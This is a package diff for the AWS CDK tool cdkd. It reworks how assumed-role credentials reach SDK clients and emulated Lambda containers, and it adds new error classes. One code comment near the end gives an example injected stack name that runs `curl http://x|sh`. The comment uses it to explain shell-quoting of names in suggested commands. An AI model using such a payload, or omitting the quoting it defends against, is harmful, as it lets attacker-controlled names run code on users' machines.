@go-to-k/cdkd 0.290.17 → 0.290.18

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
- import { C as displaySafe, S as displayIdent, d as applyDefaultNameForFallback, f as explicitNamePropertyFor, g as looksLikeCdkdGeneratedName, h as getCurrentStackName, m as generateResourceNameWithFallback, n as getLogger, p as generateResourceName, r as isStdoutReservedForPayload, s as getLiveRenderer, v as withStackName, x as UNRENDERABLE, y as withoutGeneratedFallbackName } from "./logger-C17H06QA.js";
2
- import { t as awsClientDefaults } from "./aws-client-defaults-D-iYiIJ6.js";
3
- import { t as getCdkdVersion } from "./version-CT2xso6V.js";
1
+ import { C as displaySafe, S as displayIdent, d as applyDefaultNameForFallback, f as explicitNamePropertyFor, g as looksLikeCdkdGeneratedName, h as getCurrentStackName, m as generateResourceNameWithFallback, n as getLogger, p as generateResourceName, r as isStdoutReservedForPayload, s as getLiveRenderer, v as withStackName, w as truncateCodePoints, x as UNRENDERABLE, y as withoutGeneratedFallbackName } from "./logger-C17H06QA.js";
2
+ import { a as setAssumedRoleCredentials, i as getPreAssumeEnvCredentials, n as awsClientDefaults, o as setPreAssumeEnvCredentials, r as getAssumedRoleCredentials, t as SECOND_ROLE_PUBLISH_REFUSAL } from "./aws-client-defaults-BoIxyCir.js";
3
+ import { t as getCdkdVersion } from "./version-Da2VV388.js";
4
4
  import { AsyncLocalStorage } from "node:async_hooks";
5
5
  import { createHash, randomUUID } from "node:crypto";
6
6
  import { CreateBucketCommand, DeleteObjectCommand, DeleteObjectsCommand, GetBucketLocationCommand, GetBucketReplicationCommand, GetObjectCommand, HeadBucketCommand, HeadObjectCommand, ListObjectVersionsCommand, ListObjectsV2Command, NoSuchKey, PutBucketEncryptionCommand, PutBucketPolicyCommand, PutObjectCommand, PutPublicAccessBlockCommand, S3Client, S3ServiceException } from "@aws-sdk/client-s3";
@@ -306,7 +306,7 @@ const NON_RETRYABLE_MARKER = Symbol.for("cdkd.nonRetryable");
306
306
  * the one the code already cites -- a nested-stack failure grows one
307
307
  * `ProvisioningError` per level.
308
308
  */
309
- const MAX_CAUSE_CHAIN_DEPTH = 5;
309
+ const MAX_CAUSE_CHAIN_DEPTH$1 = 5;
310
310
  /**
311
311
  * Stamped on an error whose own message deliberately WITHHOLDS text its
312
312
  * `cause` carries (issue [#2302](https://github.com/go-to-k/cdkd/issues/2302)).
@@ -363,7 +363,7 @@ function markRedactedCause(error) {
363
363
  */
364
364
  function hasRedactedCause(error) {
365
365
  let current = error;
366
- for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
366
+ for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
367
367
  if (typeof current === "object" || typeof current === "function") {
368
368
  if (current[REDACTED_CAUSE_MARKER] === true) return true;
369
369
  }
@@ -438,7 +438,7 @@ function markNonRetryable(error) {
438
438
  */
439
439
  function isMarkedNonRetryable(error) {
440
440
  let current = error;
441
- for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
441
+ for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
442
442
  if (typeof current === "object" || typeof current === "function") {
443
443
  if (current[NON_RETRYABLE_MARKER] === true) return true;
444
444
  }
@@ -462,7 +462,7 @@ function isMarkedNonRetryable(error) {
462
462
  */
463
463
  function isThrottlingError(error) {
464
464
  let current = error;
465
- for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
465
+ for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
466
466
  const name = current.name;
467
467
  if (typeof name === "string" && THROTTLING_ERROR_NAMES.has(name)) return true;
468
468
  const status = current.$metadata?.httpStatusCode;
@@ -564,7 +564,7 @@ const TRANSIENT_SERVER_ERROR_STATUS_CODES = /* @__PURE__ */ new Set([
564
564
  */
565
565
  function isTransientServerError(error) {
566
566
  let current = error;
567
- for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
567
+ for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
568
568
  const status = current.$metadata?.httpStatusCode;
569
569
  if (status !== void 0 && TRANSIENT_SERVER_ERROR_STATUS_CODES.has(status)) return true;
570
570
  current = current.cause;
@@ -615,7 +615,7 @@ function describeRetryClassificationSignals(error) {
615
615
  let sawMetadata = false;
616
616
  let metadataName;
617
617
  let metadataRequestId;
618
- for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
618
+ for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
619
619
  const name = current.name;
620
620
  if (depth > 0 && typeof name === "string" && name !== "") deepestName = name;
621
621
  const metadata = current.$metadata;
@@ -727,7 +727,7 @@ function retryClassificationText(error) {
727
727
  const parts = [];
728
728
  const seen = /* @__PURE__ */ new Set();
729
729
  let current = error;
730
- for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null && !seen.has(current); depth++) {
730
+ for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null && !seen.has(current); depth++) {
731
731
  seen.add(current);
732
732
  if (current instanceof Error) {
733
733
  if (current.message) parts.push(current.message);
@@ -884,7 +884,7 @@ function stringifyForMatch(value) {
884
884
  function isNameCollisionErrorFrom(error, logicalId) {
885
885
  if (typeof error === "string") return isNameCollisionError(error);
886
886
  let current = error;
887
- for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
887
+ for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
888
888
  const link = current;
889
889
  if (typeof link.logicalId === "string" && link.logicalId !== logicalId) return false;
890
890
  if (typeof link.name === "string" && NAME_COLLISION_ERROR_NAMES.has(link.name)) return true;
@@ -1030,7 +1030,7 @@ const CC_UPDATE_UNSUPPORTED_MESSAGE_FALLBACK = "does not support UPDATE";
1030
1030
  */
1031
1031
  function isUpdateUnsupportedError(error, logicalId) {
1032
1032
  let current = error;
1033
- for (let depth = 0; current !== null && current !== void 0 && depth < MAX_CAUSE_CHAIN_DEPTH; depth++) {
1033
+ for (let depth = 0; current !== null && current !== void 0 && depth < MAX_CAUSE_CHAIN_DEPTH$1; depth++) {
1034
1034
  const link = current;
1035
1035
  if (typeof link.logicalId === "string" && link.logicalId !== logicalId) return false;
1036
1036
  if (link.name === "UnsupportedActionException") return true;
@@ -1339,6 +1339,45 @@ var CrossAccountSecretRefusalError = class CrossAccountSecretRefusalError extend
1339
1339
  }
1340
1340
  };
1341
1341
  /**
1342
+ * An `Fn::GetStackOutput` whose PRODUCER's state record has no readable
1343
+ * `outputs` map (issue [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
1344
+ *
1345
+ * A SUBCLASS for the same reason {@link CrossAccountSecretRefusalError} is
1346
+ * one, and with the same two independent properties.
1347
+ * `instanceof IntrinsicResolutionRefusalError` stays true, so `resolveSub`'s
1348
+ * catch re-raises it rather than laundering the reference into a literal
1349
+ * `${...}` shipped to AWS; and the one consumer that must treat it
1350
+ * DIFFERENTLY from its user-fixable siblings matches on THIS class.
1351
+ *
1352
+ * That consumer is `cdkd scrub`'s cross-stack pre-pass, and the distinction it
1353
+ * needs is neither of the two the base class already carries. A sibling
1354
+ * refusal makes scrub REFUSE the stack, on the sound argument that the user
1355
+ * can fix the cause and re-run. Here the cause is ANOTHER STACK's record,
1356
+ * which the user may not own — so refusing would strand THIS stack's own
1357
+ * plaintext in `state.json` over a file they cannot repair. Issue
1358
+ * [#3192](https://github.com/go-to-k/cdkd/issues/3192) settled that trade one
1359
+ * layer down, for the classifier this refusal now runs ahead of
1360
+ * (`docs/design/3192-outputs-consumers.md` §6), and the same answer has to
1361
+ * hold here or closing the resolver would silently reverse it: scrub records
1362
+ * an unverifiable FINDING, scrubs the rest of the stack, does not report it
1363
+ * clean, and exits 2.
1364
+ *
1365
+ * It is NOT `CrossAccountSecretRefusalError`, whose subclass identity means
1366
+ * PERMANENT — "no re-run can change this". A damaged record IS repairable;
1367
+ * what it is not is repairable by everyone who meets it.
1368
+ *
1369
+ * `code` is distinct for the reason the sibling's note gives: a consumer
1370
+ * keying on `INTRINSIC_RESOLUTION_REFUSAL` would capture every sibling, and
1371
+ * one keying on message text breaks the moment the wording improves.
1372
+ */
1373
+ var MalformedProducerRecordRefusalError = class MalformedProducerRecordRefusalError extends IntrinsicResolutionRefusalError {
1374
+ constructor(message, cause) {
1375
+ super(message, cause, "INTRINSIC_RESOLUTION_REFUSAL_MALFORMED_PRODUCER_RECORD");
1376
+ this.name = "MalformedProducerRecordRefusalError";
1377
+ Object.setPrototypeOf(this, MalformedProducerRecordRefusalError.prototype);
1378
+ }
1379
+ };
1380
+ /**
1342
1381
  * A `{{resolve:...}}` reference whose REGION cannot be established (issue
1343
1382
  * [#2134](https://github.com/go-to-k/cdkd/issues/2134)): it names no region,
1344
1383
  * and the stack it sits in is on record as reading across a region boundary.
@@ -1879,8 +1918,11 @@ var AwsClients = class AwsClients {
1879
1918
  * falls back to the default chain. The same is true of any library caller
1880
1919
  * that constructs `AwsClients` directly and therefore never runs the CLI's
1881
1920
  * `preAction` hook. `--role-arn` needs nothing carried at all —
1882
- * `applyRoleArnIfSet` exports `AWS_ACCESS_KEY_ID` / `AWS_SECRET_ACCESS_KEY` /
1883
- * `AWS_SESSION_TOKEN` into the process environment.
1921
+ * `applyRoleArnIfSet` publishes the assumed credentials through
1922
+ * `setAssumedRoleCredentials`, so {@link clientOptions}'s
1923
+ * `awsClientDefaults(...)` spread hands them to every client this instance
1924
+ * builds, and a `profile` beside them selects non-credential settings only
1925
+ * (issue [#3130](https://github.com/go-to-k/cdkd/issues/3130)).
1884
1926
  *
1885
1927
  * The `credentials` object is CLONED rather than aliased: the returned bag is
1886
1928
  * handed to every derived sibling, and sharing one mutable object would let a
@@ -7777,9 +7819,27 @@ var DockerAssetPublisher = class {
7777
7819
 
7778
7820
  //#endregion
7779
7821
  //#region src/utils/aws-failure-text.ts
7780
- /** Appended to a redacted summary so the withheld half is still reachable. */
7822
+ /**
7823
+ * Appended to a redacted summary so the withheld half is still reachable.
7824
+ *
7825
+ * EXPORTED because a caller that reduces on its OWN authorship predicate has to
7826
+ * compose the same summary by hand, and a second spelling of this sentence is a
7827
+ * second thing to keep in sync — `cloud-control-provider.ts`'s `abandonWait`
7828
+ * hand-copied it, pinned only by a `toContain('Re-run with --verbose')` that
7829
+ * would have gone on passing while the two drifted.
7830
+ */
7781
7831
  const VERBOSE_POINTER = "Re-run with --verbose for AWS's own message.";
7782
7832
  /**
7833
+ * The summary {@link describeAwsFailure} builds for an `Error` it is reducing.
7834
+ *
7835
+ * Exported for the same reason as {@link VERBOSE_POINTER}, one level up: a
7836
+ * caller whose authorship predicate is WIDER than this module's reduces shapes
7837
+ * the helper hands back raw, and must then build this exact string itself.
7838
+ */
7839
+ function redactedAwsFailureSummary(error) {
7840
+ return `${error.name || "Error"}. ${VERBOSE_POINTER}`;
7841
+ }
7842
+ /**
7783
7843
  * Whether AWS wrote this failure's message.
7784
7844
  *
7785
7845
  * Keyed on the marker fields `@aws-sdk/*` errors carry through
@@ -7807,14 +7867,20 @@ function describeAwsFailure(error) {
7807
7867
  redacted: false
7808
7868
  };
7809
7869
  return {
7810
- summary: `${error.name || "Error"}. ${VERBOSE_POINTER}`,
7870
+ summary: redactedAwsFailureSummary(error),
7811
7871
  detail: error.message,
7812
7872
  redacted: true
7813
7873
  };
7814
7874
  }
7875
+ let detail;
7876
+ try {
7877
+ detail = String(error);
7878
+ } catch {
7879
+ detail = "a value that could not be converted to text";
7880
+ }
7815
7881
  return {
7816
7882
  summary: `a non-Error value of type ${typeof error}. ${VERBOSE_POINTER}`,
7817
- detail: String(error),
7883
+ detail,
7818
7884
  redacted: true
7819
7885
  };
7820
7886
  }
@@ -20984,6 +21050,133 @@ var DiffCalculator = class DiffCalculator {
20984
21050
  }
20985
21051
  };
20986
21052
 
21053
+ //#endregion
21054
+ //#region src/utils/caller-credentials.ts
21055
+ /**
21056
+ * The CALLER's own AWS identity, for the one channel that reaches a workload
21057
+ * cdkd merely emulates (issue
21058
+ * [#3130](https://github.com/go-to-k/cdkd/issues/3130)).
21059
+ *
21060
+ * WHY THIS EXISTS
21061
+ *
21062
+ * `applyRoleArnIfSet` (`src/utils/role-arn.ts`) assumes `--role-arn` /
21063
+ * `CDKD_ROLE_ARN` and then OVERWRITES `process.env.AWS_ACCESS_KEY_ID` /
21064
+ * `AWS_SECRET_ACCESS_KEY` / `AWS_SESSION_TOKEN` with the role's, so that clients
21065
+ * built outside `src/**` (cdk-local's own, the CDK app subprocess) run as the
21066
+ * role too. Every `cdkd local *` command then COPIES that triple out of
21067
+ * `process.env` into the emulated Lambda / AgentCore container's environment —
21068
+ * so `cdkd local invoke --role-arn arn:aws:iam::222:role/cdkd-deploy MyFn` ran
21069
+ * the user's local handler AS THE DEPLOY ROLE, normally the more privileged of
21070
+ * the two identities and never the one the flag asked for.
21071
+ *
21072
+ * The SDK-client half of that class was closed by threading
21073
+ * `awsClientDefaults({ ignoreAssumedRole: true })` through every client on the
21074
+ * surface. That opt-out cannot reach this channel: the value here is not a
21075
+ * client config, it is three environment variables whose ORIGINAL contents the
21076
+ * assume already destroyed. So `applyRoleArnIfSet` snapshots them first
21077
+ * (`setPreAssumeEnvCredentials`) and this module is what turns the snapshot back
21078
+ * into an answer.
21079
+ *
21080
+ * THE ANSWER IS "WHAT WOULD THE CONTAINER HAVE RECEIVED WITHOUT `--role-arn`"
21081
+ *
21082
+ * Not "who is the caller" in the SDK's sense — that question has a different
21083
+ * answer when a profile is selected, and `resolveProfileCredentials` +
21084
+ * `applyProfileCredentialsOverlay` already answer it for the `--profile` case
21085
+ * and still win, because they are applied AFTER this restore. What this module
21086
+ * restores is exactly the status quo ante: the bytes `forwardAwsEnv` would have
21087
+ * copied had no role been assumed.
21088
+ *
21089
+ * WHEN THERE IS NOTHING TO RESTORE, NOTHING IS FORWARDED
21090
+ *
21091
+ * On an SSO / IMDS / container-role chain the triple was ABSENT before the
21092
+ * assume. Fabricating a replacement is not available and inheriting the role is
21093
+ * the defect, so the three keys are STRIPPED from the forwarded environment and
21094
+ * the container falls back to its own credential resolution — which, with no
21095
+ * mounted credentials file, usually means the handler's first AWS call fails
21096
+ * with `Could not load credentials from any providers`. That is the documented
21097
+ * outcome (`docs/cli-reference.md`), and it is the correct one: a loud missing
21098
+ * credential beats a silent privileged one.
21099
+ */
21100
+ /**
21101
+ * The three environment variables that carry a static AWS identity into a child
21102
+ * process or container. Spelled once here so a forwarding site and the fence
21103
+ * that watches it cannot disagree about the population.
21104
+ */
21105
+ const AWS_CREDENTIAL_ENV_KEYS = [
21106
+ "AWS_ACCESS_KEY_ID",
21107
+ "AWS_SECRET_ACCESS_KEY",
21108
+ "AWS_SESSION_TOKEN"
21109
+ ];
21110
+ /**
21111
+ * Read a static credential triple out of an environment bag, or `undefined`
21112
+ * when it does not carry a complete one.
21113
+ *
21114
+ * BOTH halves of the key pair are required: an `AWS_ACCESS_KEY_ID` with no
21115
+ * secret is not an identity, and treating it as one would make the caller
21116
+ * "have credentials" while handing the container an unusable pair.
21117
+ */
21118
+ function readEnvCredentials(source = process.env) {
21119
+ const accessKeyId = source["AWS_ACCESS_KEY_ID"];
21120
+ const secretAccessKey = source["AWS_SECRET_ACCESS_KEY"];
21121
+ if (!accessKeyId || !secretAccessKey) return void 0;
21122
+ const sessionToken = source["AWS_SESSION_TOKEN"];
21123
+ return {
21124
+ accessKeyId,
21125
+ secretAccessKey,
21126
+ ...sessionToken ? { sessionToken } : {}
21127
+ };
21128
+ }
21129
+ /**
21130
+ * The static credentials the caller's OWN environment carried — the process
21131
+ * environment when no role was assumed, the pre-assume snapshot when one was.
21132
+ *
21133
+ * For a site that needs the VALUE rather than an env bag to correct (the
21134
+ * `--sigv4` signing path in `local-invoke-agentcore.ts`). `undefined` means the
21135
+ * caller has no static credentials to offer; the site decides what that means
21136
+ * for it (that one refuses with an actionable error).
21137
+ *
21138
+ * **Do not mutate the returned bag.** On the assumed-role branch it is
21139
+ * `aws-client-defaults.ts`'s OWN copy of the pre-assume snapshot — the object
21140
+ * shape 2 of the `ignoreAssumedRole` opt-out resolves every opted-out client's
21141
+ * identity from — so a caller that edits it in place changes who those clients
21142
+ * run as. The note sits here as well as on `getPreAssumeEnvCredentials` because
21143
+ * this module's header directs callers to THIS function; reaching the snapshot
21144
+ * through the getter directly is what it tells them not to do.
21145
+ */
21146
+ function callerEnvCredentials() {
21147
+ if (getAssumedRoleCredentials() === void 0) return readEnvCredentials();
21148
+ return getPreAssumeEnvCredentials();
21149
+ }
21150
+ /**
21151
+ * Correct an environment bag that was populated by copying `process.env`, so it
21152
+ * carries the CALLER's identity rather than a `--role-arn` assumed role's.
21153
+ *
21154
+ * A NO-OP when no role was assumed — the copied triple is already the caller's,
21155
+ * and this must not disturb the overwhelmingly common path.
21156
+ *
21157
+ * Otherwise the role's triple is replaced by the pre-assume snapshot, or — when
21158
+ * there was none — REMOVED outright (see this module's header). The
21159
+ * session-token handling mirrors `applyProfileCredentialsOverlay`: a restored
21160
+ * long-lived key pair strips any inherited token, because a long-lived
21161
+ * `AKIA...` beside a foreign session token makes the SDK inside the container
21162
+ * fail rather than fall back.
21163
+ *
21164
+ * Call it AFTER copying `process.env` and BEFORE any `--profile` overlay: the
21165
+ * profile identity is more specific and is also the caller's, so it wins.
21166
+ */
21167
+ function applyCallerIdentityCredentials(env) {
21168
+ if (getAssumedRoleCredentials() === void 0) return;
21169
+ const caller = getPreAssumeEnvCredentials();
21170
+ if (!caller) {
21171
+ for (const key of AWS_CREDENTIAL_ENV_KEYS) delete env[key];
21172
+ return;
21173
+ }
21174
+ env["AWS_ACCESS_KEY_ID"] = caller.accessKeyId;
21175
+ env["AWS_SECRET_ACCESS_KEY"] = caller.secretAccessKey;
21176
+ if (caller.sessionToken) env["AWS_SESSION_TOKEN"] = caller.sessionToken;
21177
+ else delete env["AWS_SESSION_TOKEN"];
21178
+ }
21179
+
20987
21180
  //#endregion
20988
21181
  //#region src/utils/role-arn.ts
20989
21182
  /**
@@ -21050,8 +21243,8 @@ function parseIamRoleArn(roleArn) {
21050
21243
  * reading the producer account's cdkd state bucket.
21051
21244
  *
21052
21245
  * **Why a dedicated helper (instead of reusing `applyRoleArnIfSet`).** The
21053
- * `--role-arn` flag writes assumed credentials into the process's `AWS_*`
21054
- * env vars so EVERY subsequent SDK client picks them up. That is the right
21246
+ * `--role-arn` flag publishes its assumed credentials process-wide, so
21247
+ * EVERY subsequent SDK client picks them up. That is the right
21055
21248
  * behavior for the CLI-wide flag, but the wrong behavior for cross-account
21056
21249
  * `Fn::GetStackOutput`: the producer's role should authorize ONLY the S3
21057
21250
  * state read, not the consumer's provisioning calls (which still run under
@@ -21129,16 +21322,57 @@ async function assumeRoleForCrossAccountStateRead(roleArn) {
21129
21322
  * into `AWS_ACCESS_KEY_ID` / `AWS_SECRET_ACCESS_KEY` / `AWS_SESSION_TOKEN`
21130
21323
  * for the rest of the process.
21131
21324
  *
21132
- * **Why env vars, not threaded credentials.** cdkd constructs ~13
21133
- * independent `AwsClients` instances across deploy / destroy / state /
21134
- * import / etc. paths (each with its own region, sometimes — e.g. the
21135
- * state-bucket client lives in a different region from the provisioning
21136
- * clients). Threading a `credentials` object through every site is high
21137
- * churn for an opt-in flag. AWS SDK v3 reads the standard `AWS_*` env
21138
- * vars at the top of its default credentials chain, so writing into them
21139
- * once at the command's entry makes every later `new XxxClient()` pick
21140
- * up the assumed-role credentials automatically without touching the
21141
- * client construction sites.
21325
+ * **Why not threaded credentials.** cdkd constructs ~13 independent
21326
+ * `AwsClients` instances across deploy / destroy / state / import / etc.
21327
+ * paths (each with its own region, sometimes — e.g. the state-bucket
21328
+ * client lives in a different region from the provisioning clients).
21329
+ * Threading a `credentials` object through every site is high churn for
21330
+ * an opt-in flag, so the assumed credentials are published ONCE, at the
21331
+ * command's entry, through two channels that between them reach every
21332
+ * consumer:
21333
+ *
21334
+ * 1. `setAssumedRoleCredentials` (`src/utils/aws-client-defaults.ts`) —
21335
+ * every SDK client under `src/**` is required to spread
21336
+ * `awsClientDefaults(...)` FIRST, so all of them receive the role as an
21337
+ * EXPLICIT `credentials` value, which outranks a `profile` on the same
21338
+ * config. That helper's header carries the full reasoning.
21339
+ * 2. The `AWS_ACCESS_KEY_ID` / `AWS_SECRET_ACCESS_KEY` / `AWS_SESSION_TOKEN`
21340
+ * env vars — for the consumers channel 1 cannot reach: cdk-local's own
21341
+ * SDK clients and the CDK app subprocess, which inherit this process's
21342
+ * environment.
21343
+ *
21344
+ * **Why channel 1 exists, and why `AWS_PROFILE` is nonetheless LEFT ALONE.**
21345
+ * Channel 2 used to be the whole mechanism, and it is silently inert
21346
+ * whenever a profile is selected: `@aws-sdk/credential-provider-node`
21347
+ * skips the env-var provider once `AWS_PROFILE` is set, so
21348
+ * `--profile ci --role-arn <r>` assumed the role, reported it assumed,
21349
+ * and then ran every call as `ci` — potentially in a different account
21350
+ * (issue [#3130](https://github.com/go-to-k/cdkd/issues/3130)). Deleting
21351
+ * `AWS_PROFILE` would not have fixed that on its own (cdkd also passes
21352
+ * `profile` as an explicit client-config key, which outranks the
21353
+ * environment), and it costs something real: `AWS_PROFILE` is the only
21354
+ * region source `Synthesizer.resolveSdkDefaultRegion` has when the user
21355
+ * exported a profile rather than passing `--profile`, so clearing it would
21356
+ * silently drop the CDK app's `CDK_DEFAULT_REGION` and synthesize an
21357
+ * env-agnostic stack for a different region than the profile named.
21358
+ *
21359
+ * **The one consumer channel 2 must NOT reach.** `cdkd local *` copies the
21360
+ * same three environment variables into the emulated Lambda / AgentCore
21361
+ * container, so the role reached the USER'S OWN CODE — which is what
21362
+ * `--assume-role` is for, and never what `--role-arn` asked for. Channel 1's
21363
+ * `ignoreAssumedRole` opt-out cannot express that here, because the value is
21364
+ * not a client config but three variables whose original contents the
21365
+ * overwrite below destroys. So the caller's own triple is SNAPSHOTTED first
21366
+ * (`setPreAssumeEnvCredentials`), and the local surface's forwarding sites
21367
+ * restore it — or, when the caller had none, strip the role's.
21368
+ * `src/utils/caller-credentials.ts` owns that decision and its reasoning.
21369
+ *
21370
+ * So the split is by ROLE, not by channel: `--role-arn` decides the
21371
+ * IDENTITY (channel 1, every client under `src/**`), and the profile keeps
21372
+ * the two jobs an assumed role cannot do — answering the `AssumeRole`
21373
+ * below, and supplying shared-config settings such as the region. The
21374
+ * bound that leaves: with both in play, a client built OUTSIDE `src/**`
21375
+ * still resolves the profile, because channel 2 stays inert for it.
21142
21376
  *
21143
21377
  * **What the assumed role must carry.** Unlike `cdk deploy`, cdkd does
21144
21378
  * NOT route through CloudFormation. There is no cfn-exec-role to
@@ -21152,18 +21386,31 @@ async function assumeRoleForCrossAccountStateRead(roleArn) {
21152
21386
  * `AdministratorAccess`. CDK CLI's `cdk-hnb659fds-deploy-role-*` is NOT
21153
21387
  * sufficient — that role only carries CFn + asset-publish permissions.
21154
21388
  *
21389
+ * **Once per process, enforced at both ends.** Every command handler calls this
21390
+ * exactly once, at its entry, and a second call cannot quietly work: the
21391
+ * `AssumeRole` hop below opts out of the published role (so it is answered by
21392
+ * the identity the user started with, never by role A assuming role B — a chain
21393
+ * AWS caps at one hour and refuses unless B's trust policy names A), and
21394
+ * `setAssumedRoleCredentials` then REFUSES the second publish outright. Both
21395
+ * are needed: the opt-out alone would let two identities coexist, and the
21396
+ * refusal alone would leave the hop chaining.
21397
+ *
21155
21398
  * Default session duration is 1 hour. For longer-running deploys, the
21156
21399
  * caller should re-issue the cdkd command (the in-flight credentials
21157
21400
  * stay valid until expiry, but a re-run is the simplest recovery for
21158
- * the rare case where a deploy outlives them).
21401
+ * the rare case where a deploy outlives them). Nothing refreshes them —
21402
+ * `AssumedRoleCredentials.expiration` is carried for the log line, not acted
21403
+ * on; that field's doc in `aws-client-defaults.ts` records the bound.
21159
21404
  */
21160
21405
  async function applyRoleArnIfSet(opts) {
21161
21406
  const roleArn = opts.roleArn || process.env["CDKD_ROLE_ARN"];
21162
21407
  if (!roleArn) return;
21408
+ if (getAssumedRoleCredentials() !== void 0) throw new Error(SECOND_ROLE_PUBLISH_REFUSAL);
21163
21409
  const logger = getLogger().child("role-arn");
21164
- logger.debug(`Assuming role ${roleArn}...`);
21410
+ const displayRoleArn = displaySafe(roleArn, { asciiOnly: true });
21411
+ logger.debug(`Assuming role ${displayRoleArn}...`);
21165
21412
  const sts = new STSClient({
21166
- ...awsClientDefaults(),
21413
+ ...awsClientDefaults({ ignoreAssumedRole: true }),
21167
21414
  ...opts.region && { region: opts.region }
21168
21415
  });
21169
21416
  try {
@@ -21172,13 +21419,22 @@ async function applyRoleArnIfSet(opts) {
21172
21419
  RoleSessionName: `cdkd-${Date.now()}`,
21173
21420
  DurationSeconds: 3600
21174
21421
  }));
21175
- if (!response.Credentials) throw new Error(`AssumeRole returned no credentials for role ${roleArn}`);
21422
+ if (!response.Credentials) throw new Error(`AssumeRole returned no credentials for role ${displayRoleArn}`);
21176
21423
  const { AccessKeyId, SecretAccessKey, SessionToken, Expiration } = response.Credentials;
21177
- if (!AccessKeyId || !SecretAccessKey || !SessionToken) throw new Error(`AssumeRole response missing credentials fields for role ${roleArn}`);
21424
+ if (!AccessKeyId || !SecretAccessKey || !SessionToken) throw new Error(`AssumeRole response missing credentials fields for role ${displayRoleArn}`);
21425
+ setPreAssumeEnvCredentials(readEnvCredentials());
21178
21426
  process.env["AWS_ACCESS_KEY_ID"] = AccessKeyId;
21179
21427
  process.env["AWS_SECRET_ACCESS_KEY"] = SecretAccessKey;
21180
21428
  process.env["AWS_SESSION_TOKEN"] = SessionToken;
21181
- logger.info(`Assumed role ${roleArn} (session expires ${Expiration?.toISOString() ?? "unknown"})`);
21429
+ setAssumedRoleCredentials({
21430
+ accessKeyId: AccessKeyId,
21431
+ secretAccessKey: SecretAccessKey,
21432
+ sessionToken: SessionToken,
21433
+ ...Expiration && { expiration: Expiration }
21434
+ });
21435
+ logger.info(`Assumed role ${displayRoleArn} (session expires ${Expiration?.toISOString() ?? "unknown"})`);
21436
+ const selectedProfile = process.env["AWS_PROFILE"];
21437
+ if (selectedProfile !== void 0 && selectedProfile !== "") logger.warn("AWS_PROFILE is set and a role has been assumed. The AWS calls cdkd makes to deploy and read state run as the role. The profile still decides the region, it is what your CDK app resolves during synthesis, and — when you passed `--profile` rather than exporting it — it is the identity a `cdkd local` emulated function or task is given. See https://github.com/go-to-k/cdkd/blob/main/docs/cli-reference.md");
21182
21438
  } finally {
21183
21439
  sts.destroy();
21184
21440
  }
@@ -21764,6 +22020,543 @@ function classifyReplaySecretRegion(expression, consumerRegion, importedProducer
21764
22020
  };
21765
22021
  }
21766
22022
 
22023
+ //#endregion
22024
+ //#region src/state/malformed-resources-bag.ts
22025
+ /** The error code every malformed-record refusal carries, whatever its class. */
22026
+ const STATE_RESOURCES_MALFORMED = "STATE_RESOURCES_MALFORMED";
22027
+ /**
22028
+ * Answer the ONE question both helpers below key on: can this record's
22029
+ * resource map be read at all?
22030
+ *
22031
+ * Widened past `null` / `undefined` because the message says "no readable
22032
+ * resources map" and a hand-edited record does not stop at those two: a
22033
+ * `[]`, a `5` or a `"ab"` all survive `Object.entries` and yield a bag that is
22034
+ * empty or, for the string, absurd — repaired silently and warned about
22035
+ * nowhere. The predicate is the plain-object test the bag's own type implies.
22036
+ */
22037
+ function hasReadableResources(state) {
22038
+ return isReadableBag(state.resources);
22039
+ }
22040
+ /**
22041
+ * The same question for the `outputs` bag — and it is a SEPARATE predicate
22042
+ * rather than a second argument to the one above because the ABSENCE rule
22043
+ * differs, which is the split {@link isReadableBag}'s own note calls a
22044
+ * per-container call.
22045
+ *
22046
+ * An absent `outputs` bag is an ordinary record, not a defect: `cdkd scrub`
22047
+ * round-trips one deliberately rather than materializing `{}` over it, and the
22048
+ * deploy's failure-path saves write `outputs: currentState.outputs`, which
22049
+ * `JSON.stringify` drops when it is `undefined`. So `undefined` is EXEMPT here
22050
+ * while it is a defect for `resources`. `null` is NOT exempt — it is a value a
22051
+ * hand-edited record carries and every consumer either throws on it or
22052
+ * launders it into `{}`.
22053
+ *
22054
+ * Both {@link repairMalformedOutputsForReadOnly} and
22055
+ * {@link refuseMalformedOutputs} delegate to this, so the read-only and the
22056
+ * write-capable halves cannot come to different verdicts about the same record.
22057
+ */
22058
+ function hasReadableOutputs(state) {
22059
+ return state.outputs === void 0 || isReadableBag(state.outputs);
22060
+ }
22061
+ /**
22062
+ * The shared explanation, in the terms the reader needs: what is wrong, what
22063
+ * to look at, and what NOT to do next.
22064
+ *
22065
+ * Both identifiers are SANITIZED and THEN SHELL-QUOTED, and the command is
22066
+ * emitted LAST and UNWRAPPED — the shape `lock-contention-message.ts` and
22067
+ * `.claude/rules/layout-state-types.md` require of any suggestion a user is
22068
+ * meant to paste, for two separate reasons.
22069
+ *
22070
+ * Sanitizing alone is not enough. `displaySafe(..., { asciiOnly: true })` is a
22071
+ * printable-ASCII allowlist, so it removes the line- and escape-forgery class
22072
+ * but KEEPS `'`, `;`, `|`, `` ` ``, `$` and spaces — and neither name is
22073
+ * trusted here, since a stack name reaches the cross-stack read path from an
22074
+ * `Fn::GetStackOutput` argument or an S3 key. A name spelled
22075
+ * `a'; curl http://x|sh; echo '` would close the quoting and append its own
22076
+ * command to the line this text tells the user to RUN.
22077
+ *
22078
